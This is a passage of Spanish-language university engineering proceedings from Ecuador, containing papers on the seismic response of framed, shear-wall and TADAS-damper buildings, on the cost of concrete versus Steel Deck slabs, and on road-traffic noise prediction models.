En la actualidad el diseño sismorresistente toma gran importancia en el Ecuador, esto debido a lamentables sucesos, por ejemplo, el terremoto del 16 de abril, estas experiencias obligan a mejorar los típicos sistemas aporticados e implementar elementos de protección sísmica. Debido a lo antes mencionado se analizan tres edificios de seis niveles de hormigón armado, el primero es un sistema aporticado, el segundo un sistema dual y el tercero un sistema aporticado con disipadores sísmicos tipo TADAS.

Se realizo un análisis estático basado en fuerzas como modo de prediseño, un análisis dinámico de respuesta espectral para tener una idea de las características dinámicas de los edificios, y a la vez evidenciar el comportamiento estructural de cada edificio.

Para el análisis de los tres edificios se utiliza la Norma Ecuatoriana de la Construcción NEC-2015; para el sistema de disipación sísmica se utiliza el Minimum Design Loads for Buildings and Other Structures ASCE/SEI 7-10. Los modelos matematicos de los edificios se realizaron en 3D usando el software Etabs versión 2016, los parámetros, demandas y combinaciones se utilizarán los propuestos por las normas antes mencionadas.

MATERIALES Y MÉTODOS

Materiales Utilizados

La geometría en planta de los tres edificios en el sentido X y Y consta de cuatro pórticos ortogonales con luces entre ejes de 5.00m respectivamente, tiene una altura de entre piso de 3.20m, vigas descolgadas y losas aligeradas bidireccionales, todos los elementos de hormigón armado poseen una resistencia a la ruptura de $f'_c=280 \text{ kg/cm}^2$.

Para el caso del edificio con muros de corte estos están colocados ortogonalmente en ambas direcciones con un espesor de muro de 20 cm; para el edificio con disipadores de energía, la geometría de la placa fue de; 2 cm de espesor, 15 cm de base y 30.5 cm de altura, el material utilizado es el acero A36 grado 60, con módulo de elasticidad corresponde a $E_c=2100000 \text{ kg/cm}^2$ y su fluencia de $F_y=2530 \text{ kg/cm}^2$

MÉTODOS

Se utilizó el método analítico sintético el mismo que sirve de apoyo para poder obtener de manera eficiente los resultados tomando por partes el proceso hasta llegar a un todo en este caso, que vendría hacer el proceso de análisis estructural del primer sistema de pórticos resistentes a momentos y cargas laterales, el segundo sistema dual con muros de corte en ambos sentidos ortogonales y el tercero es un sistema resistente a carga lateral basado en pórticos con disipadores de energía sísmica tipo TADAS, se escogió el método empírico de medición ya que ayuda a verificar y comprobar el mejor desempeño estructural de los edificios antes mencionados.

Se utilizó el método de análisis lineal bajo la normativa Nec-15, con ello se pudieron obtener parámetros como; Periodo de vibración, Participación de masa, Derivas de piso, Desplazamientos, Distribución de cortante y momentos. Luego mediante graficas de barra se pudieron establecer las diferencias cuantitativas de respuesta estructural para cada sistema de protección sísmica.

RESULTADOS Y DISCUSIÓN

Al realizar análisis dinámico de respuesta espectral en el rango lineal bajo exigencias de la normativa NEC-15 y ASCE ASCE/SEI 7-10 se pudieron extraer los siguientes resultados.

Distribución de momentos y cortantes

Se analizó cada sistema estructural de acuerdo al modelo matemático planteado, lo cual se pudo obtener la tabla 1, la cual contiene el porcentaje de cortante basal que cada elemento absorbe.

Tabla 1. Porcentaje del cortante basal

Tipo de sistema Estructural	C. Basal (Tn)	Fuerza resistida por Viga-Columna		Fuerza resistida por Muro o TADAS	
		Valor (Tn)	Valor (%)	Valor (Tn)	Valor (%)
Edif. Aporticado	189,05	189,05	100	0	0
Edif. Muros de Corte	197,41	26,33	13,34	171,08	86,66
Edif. Disipador TADAS	191,65	100,95	52,67	90,7	47,33

De acuerdo a la tabla 1, para el edificio aporticado el sistema viga columna absorbe un 100% de la carga sísmica, mientras que en edificio con muros de corte los elementos viga columna tan solo absorben un 13.34% de la carga sísmica y el 86.66% es absorbido por el sistema de muros, por último en el edificio con sistema de disipación los elementos viga-columna absorben un 52.67% de la carga sísmica y el dispositivo TADAS absorbe el 47.33% de la carga horizontal restante.

En las siguientes figuras 1a, 1b, 1c, se puede apreciar la distribución esfuerzos cortantes de momentos flectores de acuerdo a cada sistema estructural.

Figura 1.a. Edificio aporcionado

Figura 1.b. Edificio con muros de corte

Figura 1.c. Edificio con disipadores sísmicos

Periodo de vibración y participación de masa

El edificio más flexible resulta ser la estructura de pórticos resistente a momentos, con un periodo de 0.678 seg, seguido del edificio con disipadores sísmicos con un valor de 0.60 seg, por ultimo y como es de esperarse el edificio con sistema de muros de corte con un valor de 0.32 seg. En cuanto a la participación de masa se observa en la tabla 2, que ningún sistema estructural presenta problemas torsión, también se determina que el análisis dinámico concluye hasta el sexto modo para los tres edificios.

Tabla 2. Participación modal

Mod	Edif. Aporticado			Edif. Muros de Corte			Edif. Disipadores		
	Sum UX	Sum UY	Sum RZ	Sum UX	Sum UY	Sum RZ	Sum UX	Sum UY	Sum RZ
1	0,78	0,00	0,00	0,78	0,00	0,00	0,71	0,00	0,00
2	0,78	0,78	0,00	0,78	0,78	0,00	0,71	0,71	0,00
3	0,78	0,78	0,78	0,78	0,78	0,79	0,71	0,71	0,70
4	0,90	0,78	0,78	0,90	0,78	0,79	0,91	0,71	0,70
5	0,90	0,90	0,78	0,90	0,90	0,79	0,91	0,91	0,70
6	0,90	0,90	0,90	0,90	0,90	0,91	0,91	0,91	0,91
7	0,95	0,90	0,90	0,95	0,90	0,91	0,96	0,91	0,91

Deriva de piso

En la figura 2, se aprecia que el sistema estructural con la mayor deriva inelástica resulta ser el edificio aporticado con valor de 1.17%, en un rango intermedio se tiene el edificio con disipadores sísmicos con un valor de 1%, y por último el sistema de muros al ser la edificación más rígida presenta una deriva de 0.27%.

Figura 2. Deriva de piso

Desplazamientos

En figura 3, se aprecia el desplazamiento del edificio aporticado con un valor es de 27 mm, seguidamente el edificio con sistema de disipación sísmica con un valor de 22 mm y por último el sistema de muros de corte con un valor de 6 mm.

Figura 3. Desplazamientos laterales

CONCLUSIONES

El sistema aporticado resistente a momento y carga lateral un absorben 100% de la carga sísmica, mientras que en el edificio con muros de corte los elementos viga columna absorben un 13.34% de la carga sísmica y el 86.66% es absorbido por el sistema de muros, por último,

en el edificio con sistema de disipación los elementos viga-columna absorben un 52.67% de la carga sísmica y el dispositivo TADAS absorbe el 47.33% de la carga horizontal restante.

El sistema estructural que presenta mayor rigidez resulta ser el edificio con muros de corte cuyo periodo es de 0.32 seg, el edificio con disipadores TADAS se ubica en un rango intermedio con un periodo de 0.60 seg, por último, la estructura más flexible resulta ser el edificio aporticado con un periodo de 0.68 seg.

La incorporación de sistemas de disipación histérica tipo TADAS disminuye las deformaciones por cargas horizontales de una manera moderada, su máxima deriva de piso por sismo estático fue de 0.010 lo cual es igual a 50% de la deriva máxima permitida.

REFERENCIAS BIBLIOGRÁFICAS

American Concrete Institute. (2014). Requisitos de Reglamento para Concreto Estructural (318-014).

Aguiar, R., Rodriguez, M., & Mora, E. (2016). Análisis sísmico de estructuras con disipadores de energía ADAS o TADAS.

Guerra, M. (2010). Manual Para el Diseño Sismorresistente de Edificios utilizando el programa Etabs.

Minimum Design Loads for Buildings and Other Structures ASCE/SEI 7-10

Norma Ecuatoriana de la Construcción. (2015). Estructuras de Hormigón Armado.

TIPOS DE LOSAS Y SU INFLUENCIA EN LOS COSTOS

Ing. Erik Gabriel Villavicencio Cedeño

Ing. Lenin Enriquez Viteri

Valeria Estefania Cabay Zambrano

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

erik.villavicencio@unesum.edu.ec

RESUMEN

El presente artículo trata sobre la influencia del costo de losas aligeradas bidireccionales con vigas descolgadas de hormigón armado y losas Steel Deck con luces de 4.00 metros, 6.00 metros y 8.00 metros. Se utilizó diversas alternativas de diseño en las losas de hormigón armado, las cuales consistieron en colocar vigas secundarias del mismo espesor de la losa tanto en el sentido transversal y longitudinal de cada paño. En las losas Steel Deck se modificó la cantidad de vigas secundarias de dos a tres dependiendo de las luces de los paños. Se priorizó y verificó la seguridad, resistencia y eficiencia de dichas estructuras, las cuales para su modelación matemática se la realizó con el software "Extended Three Dimensional Analysis of Building Systems". El resultado de la investigación se llevó a cabo mediante el método analítico sintético y empírico.

Finalmente, después de muchos tanteos se determinó que las losas Steel Deck son más económicas en comparación de costo que las losas de hormigón armado y en cuanto a las longitudes planteadas la mejor opción, debido a que su deflexión es menor es la losa Steel Deck con vigas secundarias de acero con luces de 4.00 metros.

PALABRAS CLAVE: Losas Bidireccionales, Losas Steel Deck, Costos

ABSTRACT

This article deals with the influence of the cost of lightened bidirectional slabs with detached beams of reinforced concrete and Steel Deck slabs with lights of 4.00 meters, 6.00 meters and 8.00 meters. Various design alternatives were used in the reinforced concrete slabs, which consisted of placing secondary beams of the same thickness of the slab both in the transverse and longitudinal direction of each cloth. In the Steel Deck slabs, the number of secondary beams was modified from two to three depending on the lights of the panels. The safety, resistance and efficiency of these structures were prioritized and verified, which for its mathematical modeling was carried out with the software "Extended Three Dimensional Analysis of Building Systems". The result of the investigation was carried out by means of the synthetic and empirical analytical method.

Finally, after many scores it was determined that the Steel Deck slabs are cheaper compared to the cost of reinforced concrete slabs and in terms of the lengths proposed the best option, because its deflection is smaller is the Steel Deck slab with secondary steel beams with lights of 4.00 meters.

KEYWORDS: Bidirectional slabs, Steel Deck slabs, Costs

INTRODUCCIÓN

Muchas ciudades están implementando varios sistemas constructivos de losas con luces de grandes dimensiones, con el fin de mejorar la infraestructura, reducir costos y darle una proporción de espacios más conveniente a las edificaciones.

El presente artículo busca comparar costos entre dos sistemas constructivos diferentes como son, losas de hormigón armado aligeradas bidireccionales con vigas descolgadas y losas con Steel Deck; tomando en consideración luces habituales constructivamente en Ecuador se utilizaron vanos de losas de 4 metros, 6 metros y 8 metros. Considerando siempre la capacidad de resistencia y rigidez ante cargas gravitacionales se realizando el respectivo análisis del desempeño estructural y su comparación de costos para su desarrollo, es de notar que las losas Steel Deck son elementos estructurales más ligeros y de fácil colocación por lo cual su tiempo de construcción es más rápida.

MATERIALES Y MÉTODOS

Materiales Utilizados

Se eligieron dos tipos de losas; de Hormigón Armado y Steel Deck, las cuales son simétricas en planta y elevación. La geometría en planta de las losas en el sentido X y Y consta cuatro ejes ortogonales con luces que varían entre ejes de 4.00 m, 6.00 m y 8.00m respectivamente, se consideró una altura de entre piso de 3.20 m. Para el Hormigón Armado y el Steel Deck se consideró un módulo de elasticidad de $E_c=234264.807 \text{ kg/cm}^2$, una resistencia a la ruptura de $f'_c=280 \text{ kg/cm}^2$. Para las vigas secundarias metálicas se utilizó un acero A36.

Métodos

Se utilizó el método analítico sintético el mismo que sirve de apoyo para poder obtener de manera eficiente los resultados tomando por partes el proceso hasta llegar a un todo en este caso, que vendría hacer el proceso de análisis y diseño de losas, vigas y columnas hasta determinar el costo total mediante el análisis de precios unitarios basados en su diseño final, se escogió el método empírico de medición ya que ayuda a verificar y comprobar, en este caso el costo/m² respecto a las alternativas de losas desarrolladas utilizando graficas cuantitativas que permiten apreciar de mejor manera la diferencia de costos.

RESULTADOS Y DISCUSIÓN

El modelo matemático que mejor se comportó estructuralmente ante cargas verticales y resulto más económico fue la losa Steel Deck para las luces de 4.00 m, 6.00 m y 8.00 m; el cual su modelo matemático consta de un sistema mixto de columnas y vigas principales de hormigón armado y dos vigas secundarias IPE de acero A36.

A continuación, se presentan las longitudes, secciones y espesor de la losa Steel Deck, para las luces antes mencionadas.

Losas con luces de 4 metros

Secciones utilizadas en losa Steel Deck con dos vigas secundarias de acero

- Columnas: 70 x 70 cm
- Vigas principales: 30x40 cm
- Dos vigas secundarias IPE 200 A36
- Losa Deck h=10cm
- Espesor de panel: $e = 0.65\text{mm}$

Losas con luces de 6 metros

Secciones utilizadas en losa Steel Deck con dos vigas secundarias de acero

- Columnas: 70 x 70 cm
- Vigas principales: 30x60 cm
- Dos vigas secundarias IPE 300 A36
- Losa Deck h=10cm
- Espesor de panel: $e = 0.65\text{mm}$

Losas con luces de 8 metros

Secciones utilizadas en losa Steel Deck con dos vigas secundarias de acero

- Columnas: 70 x 70 cm
- Vigas principales: 40x80 cm
- Dos vigas secundarias IPE 400 A36
- Losa Deck $h = 10\text{cm}$
- Espesor de panel: $e = 0.65\text{mm}$

A continuación, se presenta la comparación de costo/m² de los diferentes modelos matemáticos de losas analizados

En las siguientes figuras se presenta la relación de costo/m² con respecto la losa Steel Deck con dos vigas secundarias de acero

Relación de costos en Losas con luces de 4 metros (Steel Deck)

- Losa de Hormigón Armado sin viga secundaria
- Losa de Hormigón Armado con viga secundaria
- Losa de Hormigón Armado con vigas secundarias en cruz
- Losa Steel Deck con tres vigas secundarias de acero
- Promedio
- Losa Steel Deck con dos vigas secundarias de acero

Relacion de costos en Losas con luces de 6 metros (Steel Deck)

- Losa de Hormigón Armado sin viga secundaria
- Losa de Hormigón Armado con viga secundaria
- Losa de Hormigón Armado con vigas secundarias en cruz
- Losa Steel Deck con tres vigas secundarias de acero
- Promedio
- Losa Steel Deck con dos vigas secundarias de acero

Relacion de costos en Losas con luces de 8 metros (Steel Deck)

- Losa de Hormigón Armado sin viga secundaria
- Losa de Hormigón Armado con viga secundaria
- Losa de Hormigón Armado con vigas secundarias en cruz
- Losa Steel Deck con tres vigas secundarias de acero
- Promedio
- Losa Steel Deck con dos vigas secundarias de acero

Por último, se presenta la variación promedio de costos en función de la luz con respecto a la losa Steel Deck con dos vigas secundarias de acero.

CONCLUSIONES

La losa más económica para luces de 4.00 m, 6.00 m y 8.00 m es la Steel Deck con dos vigas secundarias de acero.

La variación promedio de costo/m² es directamente proporcional a la luz del vano y su línea de tendencia es lineal.

REFERENCIAS BIBLIOGRÁFICAS

American Concrete Institute. (2014). Requisitos de Reglamento para Concreto Estructural(318-014).

American Institute Of Steel Construction. (2010). Especificaciones ANSI/AISC 360-10 para Construcciones de Acero(Versión español). Santiago de Chile.

Guerra, M. (2010). Manual Para el Diseño Sismorresistente de Edificios utilizando el programa Etabs.

Norma Ecuatoriana de la Construcción. (2015). Estructuras de Hormigón Armado.

INDICADOR RUIDO EN EL ESTUDIO Y CONSTRUCCION DE VÍAS

Reyes Pionce Bryan Alberto

Ing. Peralta Delgado Jaime Adrian

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

RESUMEN

La generación de ruido, es un indicador a tener en cuenta tanto en la etapa de estudio como en la construcción y puesta en funcionamiento de una vía.

Por lo que en el presente trabajo se proponen, después de una búsqueda y compatibilización tanto en la bibliografía nacional e internacional como en las leyes ecuatorianas vigentes, el análisis de distintos métodos y modelos de previsión de impactos utilizados por diferentes países e instituciones valorando las consideraciones que se establecen en cada uno de ellos para su posible utilización en Ecuador.

Proponiendo a su vez una utilización de la previsión de generación de ruido en los proyectos viales del Ecuador.

Palabras claves: ruido, modelos, vía.

SUMMARY

The generation of noise is an indicator to be taken into account both in the study stage and in the construction and commissioning of a road.

Therefore, in the present work, after a search and compatibility in the national and international bibliography as well as in the Ecuadorian laws in force, the analysis of different methods and models of forecasting of impacts used by different countries and institutions evaluating the considerations that are established in each of them for possible use in Ecuador.

Proposing in turn a use of the noise generation forecast in road projects in Ecuador.

Keywords: noise, models, track.

1. INTRODUCCIÓN

El transporte constituye hoy día una de las mayores amenazas al equilibrio ecológico del planeta. El elevado consumo energético y la emisión de contaminantes atmosféricos, que además contribuyen al calentamiento global, el ruido, la ocupación del suelo por las

infraestructuras, la intrusión visual, la ruptura de ecosistemas, la congestión, la accidentalidad y los riesgos del transporte de mercancías peligrosas, son los impactos negativos principales de los sistemas de transporte.

Sin embargo, en nuestros días el derecho a la movilidad es consustancial al modo de vida de la sociedad. Desde la antigüedad, el desarrollo de las vías ha estado aparejado al desarrollo de la humanidad, así lo demuestra el lema de la Asociación Permanente de los Congresos de Carreteras, PIARC, que es VIA VITA, la vía es vida.

Se plantea el reto del desarrollo sostenible asociado a la esfera del transporte. Para los países en desarrollo este reto requiere de grandes transformaciones políticas, económicas y sociales.

RUIDO

El ruido se define como todo sonido indeseable para quien lo percibe.

Para la medición del sonoro se utiliza el nivel de presión acústica (L), adoptándose como unidad de medida el decibelio, (dB).

$$L = 10 \log (P/P_0)^2$$

Siendo P la presión eficaz del sonido medido, P_0 , la presión acústica de referencia que se corresponde con la menor presión acústica que un oído joven y sano puede detectar en condiciones ideales ($2 \cdot 10^{-4} \mu \text{ bar}$). Usualmente se toman las medidas de ruido obtenidas aplicando la curva de ponderación A, expresándolas en dBA. Los niveles máximos admisibles de ruido constituyen los requisitos higiénicos sanitarios que establecen los límites de utilización de los territorios.

En la mayoría de los países están reglamentados los niveles máximos admisibles de ruido. En algunos como en Suecia y Japón (RC1020, 1987) a través del nivel sonoro estadístico L_n que es el nivel de ruido excedido el n% del tiempo durante el período de observación. Los valores de L_n más usados son L_{10} , L_{50} y L_{90} . En otros países como Estados Unidos, España, Canadá y en Cuba los valores se establecen a partir del L_{eq} . Y que en Ecuador se lo define como $NPSeq$.

Siendo $NSPeq$ el nivel de presión sonora constante, expresado en decibeles A [dB(A)], que en el mismo intervalo de tiempo, contiene la misma energía total que el ruido medido. El porcentaje de tiempo P_i , para un decibel específico NPS_i , será la fracción de tiempo en que se verificó el respectivo valor NPS_i , calculado como la razón entre el tiempo en que actuó este valor y el tiempo total de medición. El nivel de presión sonora equivalente se determinará mediante la siguiente ecuación:

$$NPSeq = 10 * \log * \sum (P_i) 10^{\frac{NPS_i}{10}}$$

El índice ambiental que se propone para esta variable es el nivel de presión sonora equivalente $NPSeq$.

Las mediciones del nivel sonoro se efectuarán con la determinación del NPS para el período diurno y nocturno más desfavorable en la vivienda y en las áreas aledañas, según lo establecido en el Texto Unificado de Legislación Ambiental del Ecuador.

Tabla 1 Niveles Máximos de Ruido Permisibles según Uso del Suelo

TIPO DE ZONA SEGÚN USO DE SUELO	NIVEL DE PRESIÓN SONORA EQUIVALENTE NPS eq [dB(A)]	
	DE 06H00 A 20H00	DE 20H00 A 06H00
Zona hospitalaria y educativa	45	35
Zona Residencial	50	40
Zona Residencial mixta	55	45
Zona Comercial	60	50
Zona Comercial mixta	65	55
Zona Industrial	70	65

MODELOS PARA MEDICIÓN DE RUIDO

Las acciones que causan un incremento en el nivel sonoro de la zona se pueden dividir en dos fases temporales del proyecto; la obra y la explotación. Durante la primera etapa se producen, tanto incrementos del nivel sonoro continuos como puntuales, mientras que en la explotación los incrementos son de carácter continuo.

Las acciones más importantes en la fase de obras de carácter puntual son las voladuras, bien en el trazado de la carretera, bien en la cantera; entre las de carácter continuo la construcción de la vía, especialmente por utilización de maquinaria pesada, el incremento del tráfico rodado de camiones para transporte de materiales, los de plantas de tratamiento de materiales, etc. Estos impactos son temporales y con posibilidades de mitigación.

Durante la fase de explotación los incrementos sonoros son producidos por el incremento del tráfico rodado.

La falta de uniformidad en el tiempo del ruido producido por la circulación rodada obliga a que se utilice para su descripción y medida, el nivel continuo equivalente (Leq) que normalmente se establece para dos periodos: diurno y nocturno.

El ruido de la circulación tiene su origen en el que produce cada vehículo, y dentro de éstos son muchos los elementos que los componen que son fuente de ruidos.

Hay que distinguir entre los ruidos que se producen con el motor en marcha y el vehículo parado de aquellos que se producen por el propio movimiento del vehículo, a los que se pueden acumular los anteriores, como son los aerodinámicos y el de rodadura, debido al contacto del neumático con el pavimento.

Las consideraciones de los distintos modelos analizados se detallan a continuación.

MODELO 1 DESARROLLADO EN CUBA POR LA DRA. ARQUITECTA AIDA AMBOU.

Es un modelo empírico desarrollado en la década del 80 y establecido como procedimiento regulatorio del Ministerio de la Construcción en 1987.

Las expresiones de cálculo son.

$$L_{50} = 24,5 + 17 \log Q$$

$$L_{10} = 53 + 9,5 \log Q$$

L_{50} = Nivel de ruido estadístico promedio (dBA)

L_{10} = nivel de ruido estadístico cuasimáximo (dBA)

Q = Intensidad horaria de diseño.

Consideraciones del modelo:

El nivel de ruido se calcula a 1.00m de distancia de la vía y 1.20m sobre el nivel del suelo.

30% de vehículos pesados.

Vía en terreno libre de obstáculos.

Velocidad promedio 50-60 km/h.

Pendiente hasta el 2%

Superficie de rozamiento: asfalto u hormigón.

Si las condiciones de aplicación no coinciden con las consideraciones del modelo se aplicaran correcciones al nivel de ruido calculado.

Correcciones:

$\Delta L1$: Esta corrección se aplicará en el caso de que la vía no se desarrolle en terrenos abiertos sino rodeados de edificaciones u otro tipo de obstáculos. Los valores de este incremento están en relación con la altura del obstáculo más bajo y la distancia que los separa entre sí a ambos lados de la vía.

$\Delta L2$: Se aplicará cuando el porcentaje de vehículos pesados no corresponda con el planteado.

$\Delta L3$: Se aplicará cuando la velocidad promedio de los vehículos sea otra a la planteada.

$\Delta L4$: Se utilizará para pendientes de vía mayores del 2%.

$\Delta L5$: Se utiliza en los casos en que la superficie de rodamiento no sea asfalto u hormigón.

ΔL6: Se aplicará en las secciones de la vía donde el tráfico no es fluido.

ΔL7: Limitada al emplazamiento de la vía entre paredes reflectantes.

Para calcular el ruido a una distancia x de la vía se parten de los valores obtenidos a 1.00m sumándose los incrementos obtenidos en función de la distancia.

MODELO 2 DESARROLLADO POR EL DR. LICENCIADO CARLOS BARCELÓ DEL INHEM. (INSTITUTO NACIONAL DE HIGIENE EPIDEMIOLOGÍA Y MICROBIOLOGÍA)

Es un modelo empírico desarrollado en la década del 80 (Barceló, 1992)

La formulación del modelo es:

$$Leq = 55,48 + (5,55 \cdot 3 \cdot tp) + (64,213 \cdot d3) + (1,23 \cdot 3 \cdot d4)$$

$$tp = \log(m3v)$$

m: flujo horario de vehículos pesados. (veh/h)

v: velocidad media de los vehículos pesados.(km/h)

d3: pendiente de la vía. (radianes)

d4: uso de las edificaciones adyacentes (0:sin uso, 1: vivienda, 2:comercio, 3:taller o industria)

Consideraciones del modelo.

El nivel de ruido se calcula a 1.00m de distancia de la vía y 1.20m sobre el nivel del suelo.

No considera vías en que el tránsito no es fluido (intersecciones, semáforos).

MODELO 3. MÉTODO "RICHTLINIEN FÜR DEN LARMSCHUTZ AN STRABEN", O ABREVIADAMENTE RLS-90 (60).

Este modelo ha sido desarrollado en Alemania por el BAST (Laboratorio Alemán de Investigación de Carreteras). Dado que está publicado en idioma alemán, ha sido mucho menos divulgado que otros, escritos en inglés o francés.

El cálculo de los niveles de ruido se hace a través de un modelo que se basa en que la emisión de ruido producido por una carretera (o uno solo de sus carriles) se puede estimar a partir de los siguientes datos:

- Intensidad del tráfico
- Velocidad de los vehículos
- Proporción de vehículos pesados
- Tipo de superficie de la carretera
- Pendiente

El ruido que registrará un punto concreto (punto de inmisión) dependerá a su vez de otros factores tales como la distancia al lugar de emisión y la diferencia media de altura entre

emisor y receptor. Puede estar asimismo incrementado por la existencia de reflexiones en edificaciones u obstáculos cercanos, o por el contrario atenuado por algún tipo de apantallamiento (pantalla acústica, muro de tierra, edificios delanteros, túneles, etc.).

El aumento de nivel de ruido que podría producir el estar la calzada mojada no se tiene en cuenta. Está considerada la posible existencia de un viento suave (unos 3 m/s) desde la carretera hacia el lugar de inmisión, y una inversión térmica que permita la difusión libre del sonido en el aire.

Como resultado final después de todos los cálculos, se obtiene un valor llamado nivel resultante L_r . Este valor es igual al nivel sonoro equivalente (L_{eq} ó L_m) en lugares con tráfico continuo. Si se está cerca de cruces regulados por semáforos o incorporaciones se añade al L_m un coeficiente K, debido al aumento de nivel sonoro que se produce por las aceleraciones y frenadas de los vehículos, obteniéndose así el L_r . El valor de L_r se obtiene como suma algebraica de varios términos:

$$L_r = L_m(25) + D_v + D_{StrO} + D_{Stg} + D_E + D_s + D_{BM} + K$$

El L_r se calcula separadamente para el día y para la noche.

El nivel sonoro equivalente de un carril se puede calcular considerando que la carretera es un emisor lineal de sonido si se cumplen las siguientes condiciones:

El tramo recto del carril tiene que estar comprendido en una zona determinada por el punto de inmisión y una franja a cada sentido de la carretera cuya longitud mínima sea:

$$l_z = 48 \cdot \frac{s}{(100+s)^{0.5}}$$

Siendo s la distancia entre el carril y el punto de inmisión.

Si hay instalado algún tipo de protección acústica tal como una pantalla o un dique de tierra, se debe considerar entonces una distancia de $2 \cdot l_z$, en ambos sentidos.

El carril tiene que estar comprendido entre las líneas rayadas según se describe en la figura 1

La emisión y las condiciones de transmisión del sonido tienen que ser aproximadamente constantes a lo largo de toda su longitud.

Cuando se cumplen todas estas condiciones se podrá calcular con el método de la carretera "larga y recta". En caso de que no se cumpla alguna de ellas no se puede emplear esta forma de cálculo, sino que se deberá aplicarse otro método, el llamado "por secciones", que es muy similar pero con diferentes valores de los coeficientes.

A continuación se describirán cada uno de los términos que componen la ecuación que permite hallar el nivel resultante.

Figura 1 Definición de carretera "larga y recta"

Modelo 4. Método francés "Guide de bruit des transports terrestres"

Es un modelo empírico desarrollado por el Laboratorio Central de Puentes y Carreteras de Francia (Trigueros, 1999)

La expresión del modelo es:

$$Leq = 18 + 10 \log (Q_{vl} + E Q_{vp}) + 20 \log V - 12 \log (d + Ic/3) + 10 \log (v/180) + K$$

Q_{vl} , Q_{vp} : número de vehículos ligeros y pesados en el período t .

E : factor de corrección por equivalencia entre vehículos ligeros y pesados.

V : velocidad en km/h.

D : distancia al borde de la carretera.

Ic : anchura de la carretera.

v : ángulo de visión (ángulo bajo el que se ve la carretera en grados)

K : corrección debida a situaciones especiales.

Esta expresión da un nivel sonoro medio a dos metros delante de la fachada de los edificios. Para calcular un nivel en campo libre hay que disminuir 2-3 dB(A) al resultado obtenido.

En relación con los modelos basados en simulaciones numéricas mediante cálculo automatizado se valoraron los modelos franceses MICROBRUIT y MITHRA (Trigueros, 1998).

La estructura general de ambos modelos es la siguiente:

- Descripción topográfica del lugar, definiendo la ubicación de los puntos receptores, características absorbentes del terreno, presencia de obstáculos naturales o artificiales, etc.
- Definición de las fuentes de emisión (carreteras, ferrocarril, etc.), perfil longitudinal, secciones, estructuras (viaductos, túneles, terraplenes, excavaciones, etc.)
- Caracterización acústica de las fuentes (flujo de tráfico, velocidad media, tipo de vehículo, etc.).

- Análisis de la difusión del sonido en su propagación. Es necesario tener en cuenta las reflexiones y las difracciones provocadas por los obstáculos y la absorción acústica del aire.
- Salida de resultados: Índices y descriptores acústicos tales como L_{eq} , isófonas y mapas.

Las influencias meteorológicas no se consideran.

Los programas ofrecen muchas posibilidades de cálculo y en un período relativamente

Propuesta de indicador

El indicador propuesto para el análisis del impacto sobre el confort sonoro es el radio de protección sanitaria establecido a partir del NPSeq.

Procedimiento.

- Determinar mediante el modelo de previsión seleccionado los valores de NPSeq provocados por el sistema de transporte en una red de receptores ubicada en los alrededores de la vía. (Hasta 300m a cada lado del borde).
- Generar un mapa de isolíneas de igual valor de NPSeq
- Interpolan la isolínea de nivel NPSeq límite para cada uso del territorio
- Determinación del área que estará afectada por niveles de contaminación superiores a los permisibles.
- Determinación del radio de protección sanitaria (distancia de seguridad mínima establecida entre la fuente emisora y los límites de las áreas residenciales, áreas de descanso de la población y otros objetos de protección del medio ambiente) para la vía en cuestión.

MATERIALES Y METODO

Para poder dar cumplimiento a los objetivos se estructuró el método de trabajo a partir de dos componentes:

Uno teórico, mediante el cual se realizó el estudio del estado del arte, se conceptualizaron los problemas, se sintetizaron las experiencias nacionales e internacionales y sirvió de base para establecer los aspectos más importantes a desarrollar.

Uno práctico, mediante el cual se realizó la aplicación y verificación de los conceptos definidos.

RESULTADOS Y DISCUSIÓN

Comparación entre los modelos de previsión de ruido.

Tabla 2 Comparación entre los modelos de previsión de ruido.

Modelo 1 Aida Ambou.	Modelo 2 Barceló	Modelo 3 RLS	Modelo 4 GBTT	MICROBR UIT	MIHTRA
Empírico.	Empírico.	Empírico.	Empírico.	Racional.	Racional.
Niveles de ruido a 1.00m de la vía y 1.20m del suelo.	Niveles de ruido a 1.00m de la vía y 1.20m del suelo.	Niveles de ruido a 25.00m de la vía y 1.20m del suelo.	Niveles de ruido a 2.00m de la fachada.	Niveles de ruido en cualquier posición del receptor.	Niveles de ruido en cualquier posición del receptor.
Se consideran correcciones por: 1. Obstáculos. 2. V. Pesados. 3. Velocidad. 4. Pendiente. 5. Superficie. 6. Fluidez. 7. Emplazamiento	Se consideran correcciones por: V. Pesados Velocidad. Pendiente. Uso de edificaciones adyacentes.	Se consideran correcciones por: 1. Obstáculos. 2. V. Pesados. 3. Velocidad. 4. Pendiente. 5. Superficie. 6. Fluidez. 7. Emplazamiento	Se consideran correcciones por: 1. V. Pesados. 2. Velocidad. 3. Superficie. 4. Anchura de la vía. 5. Angulo de visión	Se consideran en el modelo: 1. Topografía. 2. Perfil long. 3. Velocidad 4. Tipo de veh. 5. Obstáculos. 6. Absorción acústica del aire 7. Características absorbentes del terreno.	Se consideran en el modelo: 8. Topografía. 9. Perfil long. 10. Velocidad 11. Tipo de veh. 12. Obstáculos. 13. Absorción acústica del aire 14. Características absorbentes del terreno.
Existen datos de entrada.	Existen datos de entrada.	Existen datos de entrada.	Existen datos de entrada.	No existen datos para la caracterización acústica de la fuente.	No existen datos para la caracterización acústica de la fuente.
Error medio en la	Error medio en la	-	-	-	-

medición 3.2dB	medición 9.1dB				
Se puede emplear en Ecuador	Se puede emplear en Ecuador	No se puede emplear en Ecuador	No se puede emplear en Ecuador	No hay acceso a los programas.	No hay acceso a los programas.

Los modelos MICROBRUIT y MIHTRA son racionales, pero requieren como datos de entrada los factores de emisión de ruido. En Ecuador no existe base de datos al respecto. No hay acceso a los programas implementados para su aplicación.

Los modelos RLS y GBTT, son empíricos y se evaluaron con el objetivo de analizar su esquema conceptual y compararlos con los dos nacionales. El modelo alemán se considera el más completo de los empíricos, por los múltiples factores considerados.

Por el esquema conceptual desarrollado, por ser menor el error en las mediciones efectuadas y considerar la mayoría de los factores de corrección que utilizan otros métodos reconocidos, se propone la utilización del modelo 1 desarrollado por la Dra. Aida Ambou para la predicción de los impactos de ruido, sustituyendo la corrección considerada en este método por tráfico no fluido.

CONCLUSIONES

Es posible realizar la mapificación del índice propuesto y tratarlo dentro de un Sistema de Información Geográfico

El indicador ambiental analizado permite valorar la importancia del impacto de la obra vial sobre las variables ambientales potencialmente impactadas.

Es posible implementar la metodología propuesta para el análisis ambiental de variantes

.

REFERENCIAS BIBLIOGRÁFICAS

- ALVAREZ, H. Indicadores Ambientales Básicos para el diseño de carreteras sobre bases sostenibles.
